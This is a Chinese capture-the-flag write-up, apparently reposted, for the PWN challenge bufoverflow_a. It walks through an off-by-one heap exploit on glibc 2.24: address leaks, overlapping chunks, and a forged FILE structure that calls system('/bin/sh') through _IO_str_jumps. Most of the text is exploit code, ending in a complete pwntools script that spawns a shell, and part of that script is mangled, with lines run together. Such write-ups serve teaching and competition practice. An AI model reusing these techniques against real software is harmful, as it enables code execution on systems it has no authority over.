当前位置: 代码迷 >> 综合 >> 攻防世界PWN之bufoverflow_a题解(house of orange in 2.24house of Einherjar)
  详细解决方案

攻防世界PWN之bufoverflow_a题解(house of orange in 2.24house of Einherjar)

热度:14   发布时间:2024-01-15 12:11:03.0

bufoverflow_a

首先,我们检查一下程序的保护机制

然后,我们用IDA分析一下,是一个经典的增删改查的程序,然后我们看到创建堆时,前两个堆是用malloc创建,后面的堆用calloc创建,这意味着,如果要泄露libc地址,只能靠前两个堆,后面的堆从bin里取出后会清空里面的信息。

Fill功能存在一个null off by one漏洞

我们每次只能对最后创建的那个堆进行读写操作

并且delete以后,指针将清空,就无法进行读写操作,除非重新创建一个堆。

首先是泄露libc地址,这个很容易,创建一个unsorted bin范围的堆,然后后面再创建一个堆用来隔离,释放后再申请回来显示,即可泄露。

  1. #0  
  2. create(0x80)  
  3. #1  
  4. create(0x80)  
  5. delete(0)  
  6. delete(1)  
  7. #0申请回来,此时保留了libc指针  
  8. create(0x80)  
  9. show()  

接下来,我们要泄露堆地址,我们创建large bin范围的堆释放后申请一个比它还大的堆,使得它被放入large bin,从而堆上保留了堆指针,再申请回来。但是堆地址保存在fd_nextsize处,位于chunk_addr + 0x10处,我们如果直接显示,只能显示出fd的内容,因为后面有’\x00’结束了。并且,我们也不能利用fill来填充到fd_nextsize处,因为fill,内容的最后会添加一个’\x00’

这样,我们仍然不能显示出fd_nextsize的内容。

  1. #1  
  2. create(0x400) #large bin范围的堆释放后会有堆地址  
  3. create(0x80) #2  
  4. #1放入unsorted bin  
  5. delete(1)  
  6. #触发整理unsorted bin,将1放入large bin,从而1里堆有指针  
  7. create(0x500) #1  
  8. delete(1)  

目前,堆的布局是这样的

堆编号

大小

状态

0

0x90

used

1

0x410

free

2

0x90

used

Top chunk

 

 

在chunk1的数据域+0x10处,有堆指针。我们可以先释放chunk2,使得chunk12合并到top chunk,这样,堆布局变成了这样,但是里面的信息仍然没有清空。

堆编号

大小

状态

0

0x90

used

Top chunk

 

 

然后,我们继续释放chunk0,此时堆布局就只剩下一个TOP chunk

堆编号

大小

状态

Top chunk

 

 

接下来,我们申请一个0xA0大小的堆(数据域大小0x90)。因为bin里面没有合适的chunk,就从TOP chunk里划分,堆布局变成这样

堆编号

大小

状态

0

0xA0

used

Top chunk

 

 

然后,我们继续申请一个堆,大小任意,比如0x90

此时堆布局变成这样

堆编号

大小

状态

0

0xA0

used

1

0x90

used

Top chunk

 

 

由于chunk0大小为0xA0,比原先大了0x10,那么chunk1就会向后偏移0x10,也就是原来chunk1fd_nextsize位置是现在chunk1fd位置,这样,我们显示,就能泄露出堆地址了。

  1. #释放堆2,由于堆2下面是top块,堆2上面的堆1也是free状态,那么就和全部合并到top块里,但里面的指针信息仍然有保留。  
  2. delete(2)  
  3. #此时,堆0下面的堆1top块,释放0后,堆0也合并到了top块里。  
  4. delete(0)  
  5. #所有bin都合并了,只剩下一个top  
  6. #错位0x10,使得接下来1fd位置正好有堆指针  
  7. create(0x90) #0  
  8. create(0x80) #1  
  9. show()  
  10. sh.recv(1)  
  11. heap_base = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00')) - 0xB0  
  12. print 'heap_base=',hex(heap_base)  
  13. #============================================  
  14. delete(0)  
  15. delete(1)  

我们泄露完信息后,又重新把0和1给释放了,使得他们重新合并到top chunk里。因为我们不需要再用它们了。并且由于只有前两个堆使用malloc分配,后面的用calloc分配,为了后续利用,我们要腾出位置。

接下来,我们就要伪造堆了。我们最终的目的是要构造出这样的堆布局

Unsorted bin1

Unsorted bin2

 

这样,我们就能从unsorted bin1里申请合适的堆,控制unsorted bin2,从而利用house of orange来getshell。

那么,我们就先来伪造chunk

  1. #0  
  2. create(0x208)  
  3. fake_chunk = 'a'*0x20  
  4. fake_chunk += p64(0) + p64(0x1E1)  
  5. #fd=bk=p绕过检查  
  6. fake_chunk += p64(heap_base + 0x50)*2  
  7. fake_chunk = fake_chunk.ljust(0x200,'a')  
  8. fake_chunk += p64(0x1E0)  
  9. fill(fake_chunk)  
  10. #1  
  11. create(0x80)  
  12. #2注意,2必须为0xF0,这样实际为0x100off by null one后大小仍为0x100,与top chunk相邻,才能合并到top chunk  
  13. #因此不能在2末尾伪造fake_chunk  
  14. create(0xF0)  
  15. fill('b'*0xF0)  
  16.   
  17. delete(1)  
  18. #1  
  19. create(0x88)  
  20. fill('b'*0x80 + p64(0x270))  
  21. #合并  
  22. delete(2)  

需要注意的是,以前,为了绕过glibc中的检查

  1. if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                    
  2.   malloc_printerr ("corrupted double-linked list");  

我们这样操作的

  1. p->fd = &p-3*4  
  2. p->bk = &p-2*4  

但是,现在我们没有办法满足这个条件,我们直接这样

  1. p->fd = p  
  2. p->bk = p  

还有就是,我们的chunk2,包括头结构的总大小为0x100,不能再多也不能再少。

因为null off by one,可以将下一个chunk的size低一字节覆盖为0,因此,size必须大于1字节。但是如果size大于0x100,这意味着,覆盖以后,这个chunk变小了,我们还需在这个chunk的末尾伪造一个填充chunk。这样会使得待会利用时,由于有填充chunk把它与top chunk隔离,使得它不与top chunk合并。而我们的目的是要把fake_chunk合并到top chunk里,这样我们就能构造出包含的unsorted bin

经过这样的操作,我们的堆布局变成这样

堆编号

大小

状态

0

 

0x210

used

Top chunk

1

0x90

used

2

0x100

free

着色区域全都在top chunk里面,现在,我们就可以来构造两个包含的unsorted bin。

我们先来构造0和1构成的unsorted bin,为了能够顺利delete掉0和1,我们需要复原1和2的头结构相关信息。

  1. ####注意
  2. create(0x290) #2
  3. #重新复原12堆的头信息  
  4. fill('a'*0x1D0 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x101) + '\n')  
  5. #为了delete后我们的内容不被清空或填充,
  6. #我们需要把chunk1也给剔除,这样我们后面申请的时候,才不会被mallocopt设置free后的填充物
  7. #注意顺序!!!
  8. delete(1)  
  9. delete(0)  

由于top chunk在fake_chunk处,因此,我们申请时,从top chunk里切割就是从fake_chunk处开始切割。这样,我们就得到了最外层的unsorted bin。

然后,我们要开始构造内层的unsorted bin,那么我们需要释放fake_chunk。而fake_chunk此时位于index 2。接下来,我们申请堆,肯定会从我们辛苦得到的外层unsorted bin里切割,没关系,待会用完重新释放回去。在程序中的堆指针数组中下标2的地方保存着fake_chunk的地址,我们现在的目的是要成功释放fake_chunk2。但是,fake_chunk前后的chunk头信息已经被打乱,我们不能直接释放。

我们可以从外层unsorted bin里申请一个大点的堆,然后,我们要在这个堆里重新伪造fake_chunk,已经一个填充chunk,由于绕过检查。也就是说,我们要在原来的fake_chunk里面末尾腾出一点位置,制造一个填充chunk,就可以绕过检查了。

  1. #重新从外层的unsorted bin切割一块空间  
  2. create(0x290) #0  
  3. #fake_chunk里腾出位置伪造填充块,而这个chunk0末尾也要放一个填充块绕过检查  
  4. #也就是总共要伪造三个chunk,总大小要等于这个chunk0的大小,即0x290  
  5. fill('a'*0x20 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x151) + '\n')  
  6. delete(0) #得到外层unsorted bin  
  7. delete(2) #得到内层unsorted bin  
  8. create(0x290)  
  9. #现在,我们已经可以控制unsorted bin  

这样,我们就控制了内层的unsorted bin。那么我们就可以利用house of orange了。

本题,提供的libc版本是2.24,因此增加了对vtable的检查。

  1. IO_validate_vtable (const struct _IO_jump_t *vtable)  
  2. {  
  3.   /* Fast path: The vtable pointer is within the __libc_IO_vtables 
  4.      section.  */  
  5.   uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;  
  6.   const char *ptr = (const char *) vtable;  
  7.   uintptr_t offset = ptr - __start___libc_IO_vtables;  
  8.   if (__glibc_unlikely (offset >= section_length))  
  9.     /* The vtable pointer is not in the expected section.  Use the 
  10.        slow path, which will terminate the process if necessary.  */  
  11.     _IO_vtable_check ();  
  12.   return vtable;  
  13. }  

也就是vtable指针必须在__stop___IO_vtables 和 __start___libc_IO_vtables范围之内。因此,我们可以利用__IO_str_jumps来绕过

  1. {  
  2.   JUMP_INIT_DUMMY,  
  3.   JUMP_INIT(finish, _IO_str_finish),  
  4.   JUMP_INIT(overflow, _IO_str_overflow),  
  5.   JUMP_INIT(underflow, _IO_str_underflow),  
  6.   JUMP_INIT(uflow, _IO_default_uflow),  
  7.   JUMP_INIT(pbackfail, _IO_str_pbackfail),  
  8.   JUMP_INIT(xsputn, _IO_default_xsputn),  
  9.   JUMP_INIT(xsgetn, _IO_default_xsgetn),  
  10.   JUMP_INIT(seekoff, _IO_str_seekoff),  
  11.   JUMP_INIT(seekpos, _IO_default_seekpos),  
  12.   JUMP_INIT(setbuf, _IO_default_setbuf),  
  13.   JUMP_INIT(sync, _IO_default_sync),  
  14.   JUMP_INIT(doallocate, _IO_default_doallocate),  
  15.   JUMP_INIT(read, _IO_default_read),  
  16.   JUMP_INIT(write, _IO_default_write),  
  17.   JUMP_INIT(seek, _IO_default_seek),  
  18.   JUMP_INIT(close, _IO_default_close),  
  19.   JUMP_INIT(stat, _IO_default_stat),  
  20.   JUMP_INIT(showmanyc, _IO_default_showmanyc),  
  21.   JUMP_INIT(imbue, _IO_default_imbue)  
  22. };  

我们可以利用_IO_str_finish函数里的这个

  1. _IO_str_finish (FILE *fp, int dummy)  
  2. {  
  3.   if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))  
  4.     (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);  
  5.   fp->_IO_buf_base = NULL;  
  6.   _IO_default_finish (fp, 0);  
  7. }  

我们把vtable指向__IO_str_jumps,把fp->_free_buffer指向system函数,把fp->_IO_buf_base指向/bin/sh字符串,再伪造其他字段,绕过检查,这样就能触发调用system(“/bin/sh”)了。同理_IO_str_overflow类似。

  1. #house of orange in 2.24  
  2. fake_file = p64(0) + p64(0x60)  
  3. #unsorted bin attack,修改_IO_list_allmain_arena+88  
  4. fake_file += p64(0) + p64(_IO_list_all_addr-0x10)  
  5. #_IO_write_base < _IO_write_ptr  
  6. fake_file += p64(0) + p64(1)  
  7. #_IO_write_end IO_buf_base  
  8. fake_file += p64(0) + p64(binsh_addr)  
  9. fake_file = fake_file.ljust(0xD8,'\x00')  
  10. #vtable指针,同时,也作为fake_vtable__dummy  
  11. fake_file += p64(_IO_str_jumps_addr - 8)  
  12. #__dummy2__finish  
  13. fake_file += p64(0) + p64(system_addr)  

如果没有getshell,是由于栈环境问题,多试几次就行了。

综上,我们的exp脚本

#coding:utf8
from pwn import *sh = process('./bufoverflow_a')
#sh = remote('111.198.29.45',34863)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#libc = ELF('./libc.so.6')
_IO_list_all_s = libc.symbols['_IO_list_all']
malloc_hook_s =  libc.symbols['__malloc_hook']
system_s = libc.sym['system']
binsh_s = libc.search('/bin/sh').next()def create(size):sh.sendlineafter('>>','1')sh.sendlineafter('Size:',str(size))def delete(index):sh.sendlineafter('>>','2')sh.sendlineafter('Index:',str(index))def fill(content):sh.sendlineafter('>>','3')sh.sendafter('Content:',content)def show():sh.sendlineafter('>>','4')def get_IO_str_jumps():IO_file_jumps_offset = libc.sym['_IO_file_jumps']IO_str_underflow_offset = libc.sym['_IO_str_underflow']for ref_offset in libc.search(p64(IO_str_underflow_offset)):possible_IO_str_jumps_offset = ref_offset - 0x20if possible_IO_str_jumps_offset > IO_file_jumps_offset:print possible_IO_str_jumps_offsetreturn possible_IO_str_jumps_offset
#==============泄露libc相关地址============
#0
create(0x80)
#1
create(0x80)
delete(0)
delete(1)
#0申请回来,此时保留了libc指针
create(0x80)
show()
sh.recv(1)
#泄露信息
main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) +  (malloc_hook_s & 0XFFF)
libc_base = malloc_hook_addr - malloc_hook_s
_IO_list_all_addr = libc_base + _IO_list_all_s
_IO_str_jumps_addr = libc_base + get_IO_str_jumps()
system_addr = libc_base + system_s
binsh_addr = libc_base + binsh_s
print 'libc_base=',hex(libc_base)
print '_IO_list_all_addr=',hex(_IO_list_all_addr)
print 'system_addr=',hex(system_addr)
#===========泄露堆地址====================
#1
create(0x400) #large bin范围的堆释放后会有堆地址
create(0x80) #2
#将1放入unsorted bin
delete(1)
#触发整理unsorted bin,将1放入large bin,从而1里堆有指针
create(0x500) #1
delete(1)
#释放堆2,由于堆2下面是top块,堆2上面的堆1也是free状态,那么就和全部合并到top块里,但里面的指针信息仍然有保留。
delete(2)
#此时,堆0下面的堆1是top块,释放0后,堆0也合并到了top块里。
delete(0)
#所有bin都合并了,只剩下一个top块
#错位0x10,使得接下来1的fd位置正好有堆指针
create(0x90) #0
create(0x80) #1
show()
sh.recv(1)
heap_base = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00')) - 0xB0
print 'heap_base=',hex(heap_base)
#============================================
delete(0)
delete(1)
#0
create(0x208)
fake_chunk = 'a'*0x20
fake_chunk += p64(0) + p64(0x1E1)
#让fd=bk=p绕过检查
fake_chunk += p64(heap_base + 0x50)*2
fake_chunk = fake_chunk.ljust(0x200,'a')
fake_chunk += p64(0x1E0)
fill(fake_chunk)
#1
create(0x80)
#2注意,2必须为0xF0,这样实际为0x100,off by null one后大小仍为0x100,与top chunk相邻,才能合并到top chunk
#因此不能在2末尾伪造fake_chunk
create(0xF0)
fill('b'*0xF0)delete(1)
#1
create(0x88)
fill('b'*0x80 + p64(0x270))
#合并
delete(2)
####注意
create(0x290) #2
#重新复原1、2堆的头信息
fill('a'*0x1D0 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x101) + '\n')
#为了delete后我们的内容不被清空或填充,
#我们需要把chunk1也给剔除,这样我们后面申请的时候,才不会被mallocopt设置free后的填充物
#注意顺序!!!
delete(1)
delete(0)#重新从外层的unsorted bin切割一块空间
create(0x290) #0
#在fake_chunk里腾出位置伪造填充块,而这个chunk0末尾也要放一个填充块绕过检查
#也就是总共要伪造三个chunk,总大小要等于这个chunk0的大小,即0x290
fill('a'*0x20 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x151) + '\n')
delete(0) #得到外层unsorted bin
delete(2) #得到内层unsorted bin
create(0x290)
#现在,我们已经可以控制unsorted bin了
payload = 'a'*0x20
#house of orange in 2.24
fake_file = p64(0) + p64(0x60)
#unsorted bin attack,修改_IO_list_all为main_arena+88
fake_file += p64(0) + p64(_IO_list_all_addr-0x10)
#_IO_write_base < _IO_write_ptr
fake_file += p64(0) + p64(1)
#_IO_write_end 、IO_buf_base
fake_file += p64(0) + p64(binsh_addr)
fake_file = fake_file.ljust(0xD8,'\x00')
#vtable指针,同时,也作为fake_vtable的__dummy
fake_file += p64(_IO_str_jumps_addr - 8)
#__dummy2、__finish
fake_file += p64(0) + p64(system_addr)
payload += fake_file
payload += '\n'
fill(payload)
#getshell
create(0x80)sh.interactive()

 

  相关解决方案